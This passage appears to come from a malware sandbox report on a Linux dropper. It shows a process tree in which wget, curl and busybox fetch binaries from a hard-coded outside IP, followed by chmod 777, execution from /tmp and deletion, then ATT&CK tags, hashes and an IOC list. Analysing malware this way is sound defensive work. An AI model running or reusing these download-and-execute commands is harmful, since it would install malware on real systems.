  /bin/busybox wget http://216.126.231.240/bins/5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq
  2⤵
  PID:955
- /bin/chmod
  chmod 777 5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq
  2⤵
  - File and Directory Permissions Modification
  PID:956
- /tmp/5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq
  ./5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq
  2⤵
  - Executes dropped EXE
  PID:957
- /bin/rm
  rm 5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq
  2⤵
  PID:958
- /usr/bin/wget
  wget http://216.126.231.240/bins/LCGmKzqqxrEJyfyEeDEvfuNBnKrQ9trFoy
  2⤵
  PID:959
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/LCGmKzqqxrEJyfyEeDEvfuNBnKrQ9trFoy
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:960
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/LCGmKzqqxrEJyfyEeDEvfuNBnKrQ9trFoy
  2⤵
  PID:961
- /bin/chmod
  chmod 777 LCGmKzqqxrEJyfyEeDEvfuNBnKrQ9trFoy
  2⤵
  - File and Directory Permissions Modification
  PID:962
- /tmp/LCGmKzqqxrEJyfyEeDEvfuNBnKrQ9trFoy
  ./LCGmKzqqxrEJyfyEeDEvfuNBnKrQ9trFoy
  2⤵
  - Executes dropped EXE
  PID:963
- /bin/rm
  rm LCGmKzqqxrEJyfyEeDEvfuNBnKrQ9trFoy
  2⤵
  PID:964
- /usr/bin/wget
  wget http://216.126.231.240/bins/uSKkIfBb4wrsy8Z7GmaQn8xQ4DRG0gBhBN
  2⤵
  PID:965
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/uSKkIfBb4wrsy8Z7GmaQn8xQ4DRG0gBhBN
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:966
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/uSKkIfBb4wrsy8Z7GmaQn8xQ4DRG0gBhBN
  2⤵
  PID:967
- /bin/chmod
  chmod 777 uSKkIfBb4wrsy8Z7GmaQn8xQ4DRG0gBhBN
  2⤵
  - File and Directory Permissions Modification
  PID:968
- /tmp/uSKkIfBb4wrsy8Z7GmaQn8xQ4DRG0gBhBN
  ./uSKkIfBb4wrsy8Z7GmaQn8xQ4DRG0gBhBN
  2⤵
  - Executes dropped EXE
  PID:969
- /bin/rm
  rm uSKkIfBb4wrsy8Z7GmaQn8xQ4DRG0gBhBN
  2⤵
  PID:970
- /usr/bin/wget
  wget http://216.126.231.240/bins/lhM9wGmuN8Il95azrLqel00lKIlESzdN8Z
  2⤵
  PID:971
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/lhM9wGmuN8Il95azrLqel00lKIlESzdN8Z
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:972
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/lhM9wGmuN8Il95azrLqel00lKIlESzdN8Z
  2⤵
  PID:973
- /bin/chmod
  chmod 777 lhM9wGmuN8Il95azrLqel00lKIlESzdN8Z
  2⤵
  - File and Directory Permissions Modification
  PID:974
- /tmp/lhM9wGmuN8Il95azrLqel00lKIlESzdN8Z
  ./lhM9wGmuN8Il95azrLqel00lKIlESzdN8Z
  2⤵
  - Executes dropped EXE
  PID:975
- /bin/rm
  rm lhM9wGmuN8Il95azrLqel00lKIlESzdN8Z
  2⤵
  PID:976

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq

Path /tmp/5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq	735	5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq
/tmp/LCGmKzqqxrEJyfyEeDEvfuNBnKrQ9trFoy	816	LCGmKzqqxrEJyfyEeDEvfuNBnKrQ9trFoy
/tmp/uSKkIfBb4wrsy8Z7GmaQn8xQ4DRG0gBhBN	825	uSKkIfBb4wrsy8Z7GmaQn8xQ4DRG0gBhBN
/tmp/lhM9wGmuN8Il95azrLqel00lKIlESzdN8Z	831	lhM9wGmuN8Il95azrLqel00lKIlESzdN8Z
/tmp/jdIJj905VwcOvJdo5gyfTRjKhfYdVNZrZs	837	jdIJj905VwcOvJdo5gyfTRjKhfYdVNZrZs
/tmp/I5C6cKl34Ei0uavRytnkmRWbkvV2cHn7xY	843	I5C6cKl34Ei0uavRytnkmRWbkvV2cHn7xY
/tmp/WzPHSy2HH2EF8FcRkesppucBdF1qg5cIEp	849	WzPHSy2HH2EF8FcRkesppucBdF1qg5cIEp
/tmp/7PcT1pdPXoaTdVSLx0TnJO2DZg7srvPUrb	855	7PcT1pdPXoaTdVSLx0TnJO2DZg7srvPUrb
/tmp/pFZoUefilhK5DbJNhvY6MxAm6Ibrj0edKx	861	pFZoUefilhK5DbJNhvY6MxAm6Ibrj0edKx
/tmp/DxHXBtK3BkWecVdx0QaKP2KMIXFfkA3afO	867	DxHXBtK3BkWecVdx0QaKP2KMIXFfkA3afO
/tmp/zCfcqNFBH8DRT0KTGS10puYd1jOm5wE9zl	873	zCfcqNFBH8DRT0KTGS10puYd1jOm5wE9zl
/tmp/cvYpu9lcmfonahQt9pvbY76tlUD8xfsq9P	879	cvYpu9lcmfonahQt9pvbY76tlUD8xfsq9P
/tmp/WiHtgKtAPQcDbgXjdsvvcGVUv6Bg0HGjXe	885	WiHtgKtAPQcDbgXjdsvvcGVUv6Bg0HGjXe
/tmp/bWmiCPjEZHIc26w5VkCE3yfi88Q9gk9bT4	891	bWmiCPjEZHIc26w5VkCE3yfi88Q9gk9bT4
/tmp/jdIJj905VwcOvJdo5gyfTRjKhfYdVNZrZs	897	jdIJj905VwcOvJdo5gyfTRjKhfYdVNZrZs
/tmp/I5C6cKl34Ei0uavRytnkmRWbkvV2cHn7xY	903	I5C6cKl34Ei0uavRytnkmRWbkvV2cHn7xY
/tmp/WzPHSy2HH2EF8FcRkesppucBdF1qg5cIEp	909	WzPHSy2HH2EF8FcRkesppucBdF1qg5cIEp
/tmp/7PcT1pdPXoaTdVSLx0TnJO2DZg7srvPUrb	915	7PcT1pdPXoaTdVSLx0TnJO2DZg7srvPUrb
/tmp/pFZoUefilhK5DbJNhvY6MxAm6Ibrj0edKx	921	pFZoUefilhK5DbJNhvY6MxAm6Ibrj0edKx
/tmp/DxHXBtK3BkWecVdx0QaKP2KMIXFfkA3afO	927	DxHXBtK3BkWecVdx0QaKP2KMIXFfkA3afO
/tmp/zCfcqNFBH8DRT0KTGS10puYd1jOm5wE9zl	933	zCfcqNFBH8DRT0KTGS10puYd1jOm5wE9zl
/tmp/cvYpu9lcmfonahQt9pvbY76tlUD8xfsq9P	939	cvYpu9lcmfonahQt9pvbY76tlUD8xfsq9P
/tmp/WiHtgKtAPQcDbgXjdsvvcGVUv6Bg0HGjXe	945	WiHtgKtAPQcDbgXjdsvvcGVUv6Bg0HGjXe
/tmp/bWmiCPjEZHIc26w5VkCE3yfi88Q9gk9bT4	951	bWmiCPjEZHIc26w5VkCE3yfi88Q9gk9bT4
/tmp/5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq	957	5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq
/tmp/LCGmKzqqxrEJyfyEeDEvfuNBnKrQ9trFoy	963	LCGmKzqqxrEJyfyEeDEvfuNBnKrQ9trFoy
/tmp/uSKkIfBb4wrsy8Z7GmaQn8xQ4DRG0gBhBN	969	uSKkIfBb4wrsy8Z7GmaQn8xQ4DRG0gBhBN
/tmp/lhM9wGmuN8Il95azrLqel00lKIlESzdN8Z	975	lhM9wGmuN8Il95azrLqel00lKIlESzdN8Z